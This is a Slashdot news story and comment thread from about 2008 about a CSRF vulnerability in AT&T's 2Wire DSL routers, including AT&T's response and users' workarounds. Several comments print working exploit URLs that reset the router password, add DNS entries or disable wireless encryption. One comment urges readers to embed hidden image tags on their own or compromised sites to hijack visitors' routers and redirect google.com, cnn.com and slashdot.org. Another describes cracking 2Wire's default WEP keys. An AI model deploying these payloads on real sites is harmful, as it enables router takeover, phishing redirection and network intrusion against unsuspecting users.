Beta
×

Welcome to the Slashdot Beta site -- learn more here. Use the link in the footer or click here to return to the Classic version of Slashdot.

Thank you!

Before you choose to head back to the Classic look of the site, we'd appreciate it if you share your thoughts on the Beta; your feedback is what drives our ongoing development.

Beta is different and we value you taking the time to try it out. Please take a look at the changes we've made in Beta and  learn more about it. Thanks for reading, and for making the site better!

AT&T, 2Wire Ignoring Active Security Exploit [Updated]

kdawson posted more than 6 years ago | from the complicit-in-the-attacks dept.

Security 134

An anonymous reader writes "2Wire manufactures DSL modems and routers for AT&T and other major carriers. Their devices suffer from a DNS redirection vulnerability that can be used as part of a variety of attacks, including phishing, identity theft, and denial of service. This exploit was publicly reported more than eight months ago and applies to nearly all 2Wire firmware revisions. The exploit itself is trivial to implement, requiring the attacker only to embed a specially crafted URL into a Web site or email. User interaction is not required, as the URL may be embedded as an image that loads automatically with the requested content. The 2Wire exploit bypasses any password set on the modem/router and is being actively exploited in the wild. AT&T has been deploying 2Wire DSL modems and router/gateways for years, so there exists a large vulnerable installed base. So far, AT&T/2Wire haven't done anything about this exploit." Update: 04/09 17:48 GMT by KD : AT&T spokesman Seth Bloom sends word that AT&T has not been ignoring the problem. According to Bloom: "The majority of our customers did not have gateways affected by this vulnerability. For those that did, as soon as we became aware of the issue, we expeditiously implemented a permanent solution to close the vulnerability. In fact, we've already updated the majority of affected 2Wire gateways, and we're nearing completion of the process. We've received no reports of any significant threats targeting our customers."

cancel ×

134 comments

Sorry! There are no comments related to the filter you selected.

First (-1, Redundant)

noinu (970889) | more than 6 years ago | (#23005260)

first

Phish (-1, Offtopic)

Jeremiah Cornelius (137) | more than 6 years ago | (#23005338)

First Phish

Fist Phish?

Psot Frist?

I'm just glad... (1)

bcat24 (914105) | more than 6 years ago | (#23005270)

... I still have my old Speedstream 5100b. :)

Re:I'm just glad... (2, Funny)

JeanBaptiste (537955) | more than 6 years ago | (#23005400)

my Hayes 300 laughs at you.

Re:I'm just glad... (2, Funny)

b4dc0d3r (1268512) | more than 6 years ago | (#23005426)

My roommate laughs at you through a cloud of smoke signals.

Re:I'm just glad... (3, Funny)

Anonymous Coward | more than 6 years ago | (#23005602)

tell him to enjoy the blankets I sent

Re:I'm just glad... (4, Funny)

Kaenneth (82978) | more than 6 years ago | (#23006316)

Because 300 BPS modems were TOTALLY invulnerable to attacks...

+++ATH0

Re:I'm just glad... (0)

Anonymous Coward | more than 6 years ago | (#23005472)

My SpeedStream 5300 started having problems last year, so I had to get a replacement... AT&T sent me a 2wire...

Telus gave me a 2WIRE (1)

Phil Urich (841393) | more than 6 years ago | (#23009334)

When I moved to my new place, Telus gave me a 2WIRE. I recoiled at the clunky, bloated thing. As luck would have it, there were physical problems with my hookup (yes, this was luck, trust me) and when the Telus guy came out to fix it and realized I knew what I was doing (which made his job a hell of a lot easier) as well as gawked at my dual-monitor setup ("My wife doesn't let me buy stuff like that anymore") I asked him if there was any way to fix the friggin' 2WIRE piece of crap.

He said "well hey, that's for our...well, normal customers. Obviously you don't need a firewall or a wireless router or all that." He gave me a tiny little Thompson SpeedTouch 516v6 and mentioned it even trained a lot faster than the 2WIRE thing too. I've been happy ever since.

The moral of the story, bug your ISP! Sometimes what they give you isn't actually the only option.

Re:I'm just glad... (2, Interesting)

value_added (719364) | more than 6 years ago | (#23005700)

I still have my old Speedstream 5100b. :)

I'm not sure I get the joke, but if it's funny, it might be even funnier that, IIRC, I have a model with a lower number. With the exception that it doesn't reset/resync after a power failure, I guess it works likes it's supposed to.

On the other hand, I am concerned that should the little bugger fail, I'll have to purchase a newer model. Which means I'll end up with something with a metric ton of unwanted features.

I know this isn't Ask Slashdot, but does anyone know whether it's possible to acquire, either through one's own DSL provider or elsewhere, a modem that's just a modem? Or is that just not possible these days? And maybe someone more knowledgable than the rest of us can comment on whether it's possible to "connect" to the thing in some way to read it's configuration.

Re:I'm just glad... (1)

bcat24 (914105) | more than 6 years ago | (#23005782)

There was no joke intended, just a bit of gloating that I have a modem that still works perfectly and is secure (as far as I know).

Re:I'm just glad... (1)

Jeremiah Cornelius (137) | more than 6 years ago | (#23006380)

My old Alcatel looks like a grey shoe. And just chugs along...

Re:I'm just glad... (1)

hurfy (735314) | more than 6 years ago | (#23007132)

lol, me and my 10 year-old cisco 675 are impressed ;)

Sigh

A URL should be an address, a picture should be a picture, and a song should be a song and none of the above should be DOING anything :(

Re:I'm just glad... (1)

pfleming (683342) | more than 6 years ago | (#23007296)

lol, me and my 10 year-old cisco 675 are impressed ;)

Sigh

A URL should be an address, a picture should be a picture, and a song should be a song and none of the above should be DOING anything :(
I bricked my 675 with a firmware update so I'm stuck with the 678.

Re:I'm just glad... (1)

prennix (1069734) | more than 6 years ago | (#23009386)

Did you try flashing it back?! Bricked is such an overly used term. people give up too easily! Bricking should be followed up by some sort of qualifier, indicating the depths to which you've sunk to try to breath new life into the device. PLEASE don't sell us short!

Re:I'm just glad... (1)

Zencyde (850968) | more than 6 years ago | (#23006130)

My friend needed a modem for his DSL connection after his 2Wire stopped working appropriately. Big surprise there. We picked one up for 50 bucks from Best Buy. It was tied to AT&T, though. Siemens makes some decent modems that are just modems. I personally use a WRT54G for my routing needs. I'm thinking of throwing OpenWRT onto it. I wish I had the L series, though. Those are built to throw different firmwares on.

Re:I'm just glad... (1)

mzs (595629) | more than 6 years ago | (#23007764)

I second the Siemens modem and WRT54G AP. My subscription to AT&T came with a Siemens modem. It had really bad firmware on it. It would drop the connection all the time needing a reset. I flashed it with the newest firmware from Siemens and it has been rock solid since.

I got the WRT54G before there was an L edition. I have been running HypreWRT thiobor on it, but that project seems to have disappeared so I may need to go to OpenWRT at some point.

My folks have a 2Wire, I'll have to be on the look-out for a security update. I wonder if you can still get the Siemens modems from AT&T/SBC? I would recommend it if anyone can.

Re:I'm just glad... (1)

Zencyde (850968) | more than 6 years ago | (#23007832)

I probably should have cleared this up. We got the modem about 6 months ago. I think they'd be more willing to ship single modems as they cost the company less, in the end. Of course, it's strictly by request. Most people love their wireless these days... causes a lot of issues in crowded areas, though. From my friend's old apartment I picked up over 10 different connections at any given time.

Re:I'm just glad... (2, Interesting)

houstonbofh (602064) | more than 6 years ago | (#23007424)

I got a brand new speedstream 4100 with my AT&T DSL connection 8 months ago. I just had to say at least 6 times, "Yes I really do want just a modem. No I do not want a 2wire. Yes I know what I am saying. Yes I know it is free with the rebate. No I still don't want it." I also had to lie and say I was using Windows just to get my DLS turned on. I guess it like for me to talk dirty...

Re:I'm just glad... (2, Funny)

macslas'hole (1173441) | more than 6 years ago | (#23006322)

I use a Speedstream 5100 too but no bloody a b or c.

Sasktel customers (1)

compro01 (777531) | more than 6 years ago | (#23005288)

anyone know if this affects the 2wire 2700 gateways?

Re:Sasktel customers (5, Informative)

bcat24 (914105) | more than 6 years ago | (#23005330)

From TFA [securityfocus.com] :

Vulnerable:
2Wire 2071 Gateway 5.29.51
2Wire 2071 Gateway 3.17.5
2Wire 2071 Gateway 3.7.1
2Wire 1800HW 5.29.51
2Wire 1800HW 3.17.5
2Wire 1800HW 3.7.1
2Wire 1701HG 5.29.51
2Wire 1701HG 3.17.5
2Wire 1701HG 3.7.1

Re:Sasktel customers (4, Informative)

compro01 (777531) | more than 6 years ago | (#23005378)

yeah, but DSLreports is reporting [dslreports.com] that the 2700s and 2701s are vulnerable, so i'm not sure which is correct

Re:Sasktel customers (1)

bcat24 (914105) | more than 6 years ago | (#23005388)

Oops, my mistake.

Re:Sasktel customers (1)

moxley (895517) | more than 6 years ago | (#23006566)

I would trust dslreports (aka broadbandreports) over just about any other site.

I've always found that site to be invaluable when dealing with any and all broadband issues; free tools to test your connection speed and security, as well as finding information about everthing from regulatory politics, technical support, etc to comparing how well your service performs compared to the guy who lives in the next city over.

They also have some very informative forums as a lot of people who work on the technical front lines for broadband providers post stuff there before it hits the news or is announced by providers.

Re:Sasktel customers (0)

Anonymous Coward | more than 6 years ago | (#23006326)

I wonder if my Telus one is also affected...

Re:Sasktel customers (0)

Anonymous Coward | more than 6 years ago | (#23009228)

Sasktel, as well as Telus units are affected - I just tested it on my 2700 and was able to set the new password without needing the old one. Feel free to try it on yours http://192.168.1.254/xslt?PAGE=H04_POST&PASSWORD=admin&PASSWORD_CONF=admin [192.168.1.254] - this is the URL someone connected to your unsecured wireless network can enter to reset your router's password (IP may vary if modified, the one used is a default). Information taken from http://www.securityfocus.com/bid/27516/exploit [securityfocus.com]

Anybody have any ideas... (2, Funny)

Thelasko (1196535) | more than 6 years ago | (#23005306)

on how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there?

Re:Anybody have any ideas... (3, Funny)

Anonymous Coward | more than 6 years ago | (#23005342)

Nah, I already got that for her.

Re:Anybody have any ideas... Duh. (0)

Anonymous Coward | more than 6 years ago | (#23005354)

Just hack her. Saves time AND MONEY.

Re:Anybody have any ideas... (5, Funny)

trongey (21550) | more than 6 years ago | (#23005596)

...how to walk my mom through changing her IP scheme and modify the hosts file? Do I have to go over there?
Oh, come on. Don't be so lazy. It won't kill you to walk up the stairs and across the living room.

Re:Anybody have any ideas... (2, Insightful)

Anti_Climax (447121) | more than 6 years ago | (#23005652)

Most of them have wireless, provided he's getting good coverage in the basement he could do it from there.

Re:Anybody have any ideas... (1)

amRadioHed (463061) | more than 6 years ago | (#23006500)

The wireless on mine sucks horribly. I tried it for about a day but gave up on it and hooked my old linksys back up.

Re:Anybody have any ideas... (1)

rickb928 (945187) | more than 6 years ago | (#23006208)

WinVNC [realvnc.com]

sweet... (1)

spotdog14 (877656) | more than 6 years ago | (#23005310)

that sucks... Wow, i believe this is the ONLY thing that makes me be glad that i am a comcast customer.

Funny Post (3, Funny)

Anonymous Coward | more than 6 years ago | (#23005322)

Me Chinese
Exploit SOCKS,
Me put malware
On your box!

Re:Funny Post (5, Informative)

bcat24 (914105) | more than 6 years ago | (#23005374)

That would be slightly funnier if the exploit actually involved SOCKS. In reality, it looks like a simple CSRF [wikipedia.org] attack. (Is it just me, or are we seeing a lot more of those lately?)

Re:Funny Post (0)

Anonymous Coward | more than 6 years ago | (#23005654)

Okay, bcat, are you saying that I can minimize my danger level by clearing all cookies each time I leave my bank's site? I have Firefox set to clear each time I log out; but that may not be enough?

Re:Funny Post (1)

Nikker (749551) | more than 6 years ago | (#23007076)

Okay, bcat, are you saying that I can minimize my danger level by clearing all cookies each time I leave my bank's site? I have Firefox set to clear each time I log out; but that may not be enough?


Not really. A DNS server takes a name and gives you the 'physical' server that will give you that page. So if I route all your pages to my physical computer I can download the real page and send it to you as the real deal. Of course someone less honest might check the data that was entered before it passes it back.

Re:Funny Post (1, Insightful)

rhizome (115711) | more than 6 years ago | (#23006408)

Fine, replace the line with "CSRF rocks" (pronouncing the acronym as "sea surf").

Re:Funny Post (0)

Anonymous Coward | more than 6 years ago | (#23005518)

God I love this. So much.

Ignored? (0)

Anonymous Coward | more than 6 years ago | (#23005364)

It's not being ignored. However, telcos like to have security fixes tested before sending them out to a few million gateways.

Re:Ignored? (1)

compro01 (777531) | more than 6 years ago | (#23005430)

tested for 6 months?

Re:Ignored? (1)

Bryansix (761547) | more than 6 years ago | (#23005788)

Randall L. Stephenson is that you?

Class action lawsuit (0)

Anonymous Coward | more than 6 years ago | (#23005416)

Need I say more? If people don't react, they deserve to be screwed.

OK, now we all know (1, Interesting)

hyades1 (1149581) | more than 6 years ago | (#23005474)

What's these bastards' excuse for standing around with their thumb up their bum for eight months while people get their lives turned inside out?

I smell lawsuits. Many, many lawsuits.

Re:OK, now we all know (2, Insightful)

eonlabs (921625) | more than 6 years ago | (#23006892)

Easy, if they think it's no skin off their back for not updating their hardware, they think they can save money by not doing it. If they have 10,000 customers and it's $100 to replace one of their old modems, then it's a million bucks to swap them all out. If they don't think there's a risk of being held responsible for more than that for not changing their hardware, where is the incentive.

Hell, the security flaws typically affect the customer. Will that stop most people's internet addictions?

Here's another one... How many places does At&t hold a local monopoly? What other options doe people have, especially if they're dealing with constant (Video/Voice)oip? That stuff costs bandwidth and with more computers shipping with cameras and mics built in, more people are using it. A dialup line, and even a decent DSL can't really handle streaming video like that.

Re:OK, now we all know (1)

AngelofDeath-02 (550129) | more than 6 years ago | (#23008402)

Of course, they can just push the firmware over their systems. They can flag a particular update across modems in a given category, and deem it as mandatory.

There's always the possibility that it might brick the modem... But it's not a 100% chance. It's not even a good chance. Also - those modems do not cost 100 bucks, even after you include tech support man hours and shipping costs...

I can't see the post you're replying to, so I can only guess that the firmware exploit is what you're referring to, but they do not need to replace those modems to force a firmware update.

Exploit doesn't seem to work on my 2700HG-B (5, Informative)

Anonymous Coward | more than 6 years ago | (#23005488)

I tried their example for adding example.com to DNS (here as not a live link; copy it paste it yourself at your own risk):

http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1
and all it did was leave me at the "enter system password" page. Yes, my router has a non-default system password. The system software release is 4.25.19.

Re:Exploit doesn't seem to work on my 2700HG-B (1, Informative)

Anonymous Coward | more than 6 years ago | (#23005778)

A couple users at DSLreports indicated hat the hack is able to change the password on 4.25.19 firmware: http://www.dslreports.com/forum/r19987755-2Wire-Cross-Site-Request-Forgery-Vulnerability [dslreports.com]

Perhaps the hacker could change the password, then follow it up with a DNS entry.

Re:Exploit doesn't seem to work on my 2700HG-B (5, Informative)

skis (920891) | more than 6 years ago | (#23005912)

This exploit is CSRF (Cross-site request forgery). This means that you have to have an active authenticated session to your router in your browser. When you click the link and your browser is already authenticated, it will send your session cookie along with the HTTP request, and the web server in your router will know you are already authenticated, and execute the command you gave it.

Try logging in to your router, open a new tab, and click on that link again and see if it works.

Re:Exploit doesn't seem to work on my 2700HG-B (2, Interesting)

Clueless Moron (548336) | more than 6 years ago | (#23006772)

I'm sure that if I was already logged into my router, that link would work, because I know the 2wire uses cookie based authentication.

But why on earth would I be logged into it??? Its status pages do not require a login, so the only reason to log in would be to change something, which happens maybe once a year. And the session times out after a few minutes.

TFS (The Fine Summary) says "the 2Wire exploit bypasses any password set on the modem/router" which is blatantly false: apparently it works only if you happen to have logged into an admin page on the router within the past few minutes, which is remarkably unlikely.

My guess is that the "exploit" is fundamentally relying on people not having changed the default router password. That way, the initial URL to set the password will work, and after that the router is pwn3d.

Moral? Set your stupid default router password. Just like with any router.

Re:Exploit doesn't seem to work on my 2700HG-B (2, Informative)

Clueless Moron (548336) | more than 6 years ago | (#23007040)

(replying to myself...)

apparently it works only if you happen to have logged into an admin page on the router within the past few minutes, which is remarkably unlikely.

Ok, I see the problem now: although just about every setup page imaginable on the router uses a session cookie to make sure you have logged in, the "set initial router password" page does not, and does not care if an initial password has already been set (stupid!).

So the 'sploit is to first invoke the "set initial router password" page. It doesn't matter what it sets it to, because completing that page logs you in, and so your browser gets the session cookie and now all the other pages work. Such as the one that adds www.example.com to DNS.

Nice. Fortunately my home system doesn't use the 2wire DNS at all.

If you have a website, paste the following code (2, Interesting)

BlueUnderwear (73957) | more than 6 years ago | (#23006034)

Thanks so much for that URL.

If you want to join into the phun, put the following onto your website (or onto somebody else's website, if he happens to still use IIS):

<img src="http://192.168.1.254/xslt?PAGE=H04_POST&amp;PASSWORD=admin&amp;PASSWORD_CONF=admin" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=google.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=www.google.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=cnn.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=www.cnn.com&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=slashdot.org&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>
<img src="http://192.168.1.254/xslt?PAGE=J38_SET&amp;THISPAGE=J38&amp;NEXTPAGE=J38_SET&amp;NAME=www.slashdot.org&amp;ADDR=158.64.72.228" width="1" height="1" alt="haha"/>

In related news... (1)

gmuslera (3436) | more than 6 years ago | (#23005614)

... wont be much surprised if most of the Kraken [slashdot.org] botnet (or other so widespread malware) are mostly behind 2Wire routers.

I'm not suprised, given my experience with 2wire (4, Interesting)

krovisser (1056294) | more than 6 years ago | (#23005640)

One of the worst routers I have ever had. Besides resetting itself arbitrarily, it would forget it's own settings and revert to the default, or half of the settings would revert to the default and the other half.... ? Also, right before I threw it out my window, it forgot it was a wireless router completely. I mean, it reset itself one last time and quit broadcasting completely. Even the setup pages lost the wireless part. I could manually enter in the wireless setup URL, and it would show one with random values in each field.

I'm just waiting for a nice cooler day to take it to the shooting range. The manual traps and some shotgun pellets might make up for all my anguish.

Re:I'm not suprised, given my experience with 2wir (1)

MightyMartian (840721) | more than 6 years ago | (#23005976)

I have to deal with a 2700 for one of remote locations (or have to deal with it until next month, when we get a useful router/modem). What a piece of shit. The software is so bunged up that I can't even get rid of customized open app ports. What a horrendous piece of shit. Who designs these things? They should be taken out and have their brains removed, though it's likely they wouldn't notice, with firmware as faulty as that which they put in their routers.

Re:I'm not suprised, given my experience with 2wir (1)

compro01 (777531) | more than 6 years ago | (#23006490)

i've worked with these things (their 2700 gateways). they're great modems (though really really sensitive to surges), but these guys do not know how to design the router side. go above a couple hundred connections, and it crashes it (hitting "refresh all" in the CS server browser will do this almost every time). try to transfer files between wired and wireless (or vise versa) and it slows to a crawl. best idea is put the damn thing in bridge mode and get a real router.

Mod Parent Up! (1)

Valdrax (32670) | more than 6 years ago | (#23006924)

i've worked with these things (their 2700 gateways). they're great modems (though really really sensitive to surges), but these guys do not know how to design the router side. go above a couple hundred connections, and it crashes it (hitting "refresh all" in the CS server browser will do this almost every time). try to transfer files between wired and wireless (or vise versa) and it slows to a crawl. best idea is put the damn thing in bridge mode and get a real router.
I've got a 2701, and the thing just falls completely apart whenever I use BitTorrent. I thought it was issues with the terrible connection which I have (12-9 dB SNR), so I called a tech out to fix it (improving it to 15-12 db), but that didn't do much.

I've often suspected the router itself due to the fact that this never happens when I'm maxing out my internet connection with only a couple of transactions, but that settles it. I'm getting a new router.

Re:Mod Parent Up! (1)

houstonbofh (602064) | more than 6 years ago | (#23007504)

I've got a 2701, and the thing just falls completely apart whenever I use BitTorrent.

That is a feature to keep bittorrent traffic manageable. :) (However, this may not really be a joke.)

Re:Mod Parent Up! (1)

compro01 (777531) | more than 6 years ago | (#23008300)

alternatively, a temporarily solution that's been found is to cap the simultaneous connections limit in your bittorrent client below 100. this problem is well known at sasktel, which is why they started putting the things in bridge mode for all the extreme (highest tier) installs.

the problem is the NAT software basically eating all the memory and it effectively kernel panics, with sometimes interesting results. i saw one instance where doing that would cause it to temporarily toss the bandwidth limiter and make available all possible bandwidth on the line (20-some megabits) for about 20 minutes before it went back to normal.

Re:I'm not suprised, given my experience with 2wir (1)

amRadioHed (463061) | more than 6 years ago | (#23006560)

Yeah, total garbage. The wireless on mine is basically useless. When I could get a connection it I got maybe 5% of the bandwidth I was supposed to have, and this is from about 5 feet from the base station.

Also the routing is screwy, it won't route my external IP address from inside the network so I can't use my domain name to log into my server when I'm home. What a joke.

Bridge Mode (4, Insightful)

John Hasler (414242) | more than 6 years ago | (#23005670)

Never trust these combination modem/router/firewalls. Put the thing in bridge mode and run a real router behind it (such as an old pc running Debian or OpenBSD or even an old Cisco).

Re:Bridge Mode (0)

Anonymous Coward | more than 6 years ago | (#23005780)

... and guess what OS the 2wires run o wise one. check the mdc logs and be amazed.

Re:Bridge Mode (1)

twinkdogg (683807) | more than 6 years ago | (#23005886)

Yeah but 2wire is using http administration.

Re:Bridge Mode (1)

twinkdogg (683807) | more than 6 years ago | (#23005808)

yeah, i've got an old redhat 7.3 firewall running on a Pentium 266 with 128MB ram that works great

Re:Bridge Mode (1)

jtn (6204) | more than 6 years ago | (#23006278)

Difficult when you CANNOT due to limitations of your provider. Anyone who has AT&T's U-verse product *must* run the 2WIRE box in router mode. There is no other choice.

Re:Bridge Mode (1)

robo_mojo (997193) | more than 6 years ago | (#23006550)

Difficult when you CANNOT due to limitations of your provider. Anyone who has AT&T's U-verse product *must* run the 2WIRE box in router mode. There is no other choice.

Sure there's another choice. You can always attach another router to it which does DNS recursion (not forwarding). Or do the DNS recursion on your computer with BIND 9 or other software.

Re:Bridge Mode (2, Funny)

roju (193642) | more than 6 years ago | (#23006676)

Perhaps if we're worried about security issues, administrating a local copy of BIND isn't the greatest plan [nist.gov] .

Re:Bridge Mode (1)

maz2331 (1104901) | more than 6 years ago | (#23007860)

I'd say BIND is better than the stuff built into these cheapie routers. At least I can update it myself.

Re:Bridge Mode (1)

robo_mojo (997193) | more than 6 years ago | (#23007914)

None of the items on that page are BIND, and half of them are Microsoft products. Use the Preview Button! Check those URLs!

I'd rather take my chances with administering DNS software on my network than risk using a vulnerable router, anyway.

Re:Bridge Mode (1)

clesters (793568) | more than 6 years ago | (#23007672)

Yes because we all know that old Cisco routers are not vulnerable to anything.

Re:Bridge Mode (1)

baomike (143457) | more than 6 years ago | (#23008286)

Exactly. You have control. I have used slack for years to run a dual homed host. Iptables, BIND and SNORT and away you go .
It takes some set up , and some care in the set up but maintenance is nil.

I left one ISP somewhat perplexed when he tried to convert me to PPOE. I found an ISP in Portland OR (DSL only)that will provide bridge mode and we linked up.

Re:Bridge Mode (1)

multimed (189254) | more than 6 years ago | (#23008824)

I'm running in bridge mode - I already had a perfectly good (definitely better than 2wire) wireless router but I think even if I didn't already have one, I'd still bridge it & buy a real router. But this is most certainly not for the average joe. I struggled finding good documentation on how to do it and it was still some trial & error. They definitely don't support or encourage this - on the contrary it seemed convoluted & difficult to me.

mod 0P (-1, Flamebait)

Anonymous Coward | more than 6 years ago | (#23005692)

ho3byist 3ilettante

Large install base (2, Interesting)

Verteiron (224042) | more than 6 years ago | (#23005730)

I can detect 4 of these routers from inside my house, all using the SSID 2WIRE. There must be tens of thousands of these things out there, the vast majority running the default, unsecured configuration...

Re:Large install base (1, Insightful)

cicatrix1 (123440) | more than 6 years ago | (#23006104)

By default they come with 32 bit WEP, I think. It's technically not "unsecured", but the difference is basically negligible :p

Re:Large install base (4, Informative)

Erpo (237853) | more than 6 years ago | (#23009260)

By default they come with 32 bit WEP

You're closer to the truth than you know. They use 64 bit (i.e. 8 byte) WEP by default, which is really 40 bit (i.e. 5 byte) WEP since three of those bytes are the IV and broadcast in the clear. However, 2WIRE has an awful policy of printing the WEP key on the side of the modem in hex format and not using the digits A through F.

So the default key, written in hex, is a "decimal" number somewhere between 0,000,000,000 and 9,999,999,999. That's only 10 billion possibilities, or about 33.2 bits of entropy. Your computer can crack through that in a day or two with only three or four captured packets.

When I discovered this (and, of course, got stonewalled by 2WIRE), I wrote a patch for aircrack (now aircrack-ng) that programs it to search only the binary coded decimal keyspace. I named this option -t in honor of "Two Wire" for their terrible security.

Re:Large install base (1)

compro01 (777531) | more than 6 years ago | (#23006508)

must be a local thing, as all the 2wire's sasktel uses (the 2700 gateways) come defaulted with WEP. used to be WPA, but too many people complained about it not working with stupid hardware (usually nintendo DS) not working with it.

Re:Large install base (1)

krovisser (1056294) | more than 6 years ago | (#23006718)

Haha, yeah there's about 10 of those 2wireXXXX from my place too. Most of them are WPA, which is surprising.

from the DSL reports forums (5, Informative)

Some_Llama (763766) | more than 6 years ago | (#23005790)

You can implement a temporary fix yourself. The first post in the following thread describes how to protect yourself until 2wire fixes the issue 2Wire Cross Site Request Forgery Vulnerability .

Here is a short summary:

First, change the IP scheme that the 2wire is using for your home network. Specifically, change the IP address of the 2wire router itself. This will prevent attacks against 192.168.1.254.

Next you have to prevent attacks against the domains "home" and "gateway.2wire.net". You can do this a couple of ways. You can modify your hosts file and point those domains to 127.0.0.1... or you can hardcode the dns settings into your computer so that your computer is not using the 2wire to resolve domain names.

Of course the bottom line is 2wire needs to plug this hole. When will that happen? Who knows.

Re:from the DSL reports forums (1)

nawcom (941663) | more than 6 years ago | (#23005988)

awww. don't be such a llama. we want the shell script that automates the attack, not a solution to fix the problem. silly alpaca...this is slashdot. erm. :-P

Re:from the DSL reports forums (2, Interesting)

Some_Llama (763766) | more than 6 years ago | (#23006814)

you don't need a script, just add this link to your webpage and force people to execute it on load:

http://192.168.1.254/xslt?PAGE=A05_POST&THISPAGE=A05&NEXTPAGE=A05_POST&ENABLE_PASS=on&PASSWORD=NUEVOPASS&PASSWORD_CONF=NUEVOPASS [192.168.1.254]

you can change the commands to do a number of different actions (pretty much any configuration change on any page in the router)

eg:

Add names to the DNS:
http://192.168.1.254/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME=www.example.com&ADDR=127.0.0.1 [192.168.1.254]

Disable Wireless Authentication
http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0 [192.168.1.254]

Set Dynamic DNS
http://192.168.1.254/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE [192.168.1.254]

you can also change the 192.168.1.254 to say "home" or "gateway.2wire.net"

eg:
Set Dynamic DNS
http://gateway.2wire.net/xslt?PAGE=J05_POST&THISPAGE=J05&NEXTPAGE=J05_POST&IP_DYNAMIC=TRUE [2wire.net]

Re:from the DSL reports forums (1)

fermion (181285) | more than 6 years ago | (#23006486)

Suppose one has never trusted the equipment that came from the telco, and have never connected anything but a single firewall/router to the telco DSL box. Does the vulnerability still matter? I assume that the telco is giving us the cheapest crap it can, and should not be trusted beyond the limits of liability to the telco.

Re:from the DSL reports forums (1)

Some_Llama (763766) | more than 6 years ago | (#23006778)

from readint eh exploit you would have to visit a malicious website that sends an link that your browsers processes, the link is actually the default address of the 2wire device (198.162.1.254, OR default domain of "home" or "gateway.2wire.net") in this "url" is the command to reset the password or any other configuration change.

So what would happen in worse case to a default router is it could have it's configuration changed.. whether it matters to you is dependant on how much access you give that router to the rest of your network (as these are typically routers+modem). in your case i would make sure the firewall/router has a different internal ip addressing scheme than the 2wire device, that should provide a buffer?

I personally have this exact same setup at home, i use the 2wire as just a wireless router for my Wii and then it connects to my normal router for my network which has the wan uplink to the DSL modem. Since the wireless router only gets internet access and it not allowed to see anything else on the network it shouldn't matter?

Re:from the DSL reports forums (1)

Dare nMc (468959) | more than 6 years ago | (#23008530)

have never connected anything but a single firewall/router to the telco DSL box. Does the vulnerability still matter?

sounds like it. Apparently only if you changed the default ip address of the 2 wire box, or had a reason to not use the DNS cache from within it, would this have helped deflect this vulnerability. (after all, NAT still lets you "out" to the router, where the vulnerability is.)

Although it appears firefox with script block would have stopped this.

Prodigy and Banamex (0)

Anonymous Coward | more than 6 years ago | (#23006002)

Probably as bad...

Speadstream is deployed by Prodigy infinitum In Mexico, it even has been recalling the old speadstream modems form their useras, that does not have this exploit, yet there is no warning to the subscriber of this flaw

Also in Mexico it has been used to redirect the page of www.banamex.com, one of the most importantas banks of Mexico.

First using false postcards form one popular site www.gusanito.com , and now is using false youtube invitations.

Banamex also is not resporting this to its users, and their tehc department acts as if thery were unaware of the problem, asking to reinstall windows etc... when they know it is the modem.

I already know several people who has lost money, even as some users are trying to spead the word.

So who is the culprit 2wire, prodigy, or Banamex... ?

Their DNS sucks too (0)

Anonymous Coward | more than 6 years ago | (#23006012)

Their DNS implementation puts A records in the response section of a reply to an AAAA request too.

The thing is useless.

2Wire routers also very weak on WEP (4, Interesting)

Jeffrey Baker (6191) | more than 6 years ago | (#23006032)

2Wire access points also come hard-coded for 56-bit WEP, which can be cracked in seconds. I have a list of hundreds of WEP keys I got just from riding my bicycle around San Francisco with a laptop chugging away in my backpack. These are by far the worst access points ever deployed, and they are, sadly, also the most widely deployed in the USA.

Re:2Wire routers also very weak on WEP (1)

interval1066 (668936) | more than 6 years ago | (#23006136)

Pretty sad. Looks like another case of corporate head-in-the-sand behavior. That and the usual complete disregard for their customers. Fortunately this exploit is pretty easy to circumvent; don't buy 2Wire products! Get the the word out. And teach the neos to never use WEP. If they can't do virtual tunnels with certs then at least make sure they are using WPA. And change those factory installed passwords people!

Re:2Wire routers also very weak on WEP (3, Interesting)

Jeffrey Baker (6191) | more than 6 years ago | (#23006194)

Well, the 2Wire is the box the telco sends you when you order an ADSL line, so your average ignorant consumerbot has no reason to get anything else.

Re:2Wire routers also very weak on WEP (2, Informative)

compro01 (777531) | more than 6 years ago | (#23006534)

hmm. the 2wire boxes i see (2700s) are default WEP, but have the option for WPA and WPA2.

Re:2Wire routers also very weak on WEP (1)

AngelofDeath-02 (550129) | more than 6 years ago | (#23008354)

It doesn't help that the default code will always contain 0-9 for possible keys, either.

From a user perspective, I can't blame them. You wouldn't want to be on the phone with someone who thinks their wireless "DHL" modem doesn't need power because it's wireless, and try figuring out what those tiny letters are ...

I think it would have been a lot more secure if they had used phrases that added up to 26 characters instead. But really, not many manufacturers have the balls to support secure wep by default ...

of course they won't care?! (1)

timmarhy (659436) | more than 6 years ago | (#23006314)

There won't be any repercussions for them. the customer will get screwed, why would they care?

Re:of course they won't care?! (4, Funny)

compro01 (777531) | more than 6 years ago | (#23006570)

We don't care. We don't have to. We're the Phone Company.

Re:of course they won't care?! (1)

Boronx (228853) | more than 6 years ago | (#23006948)

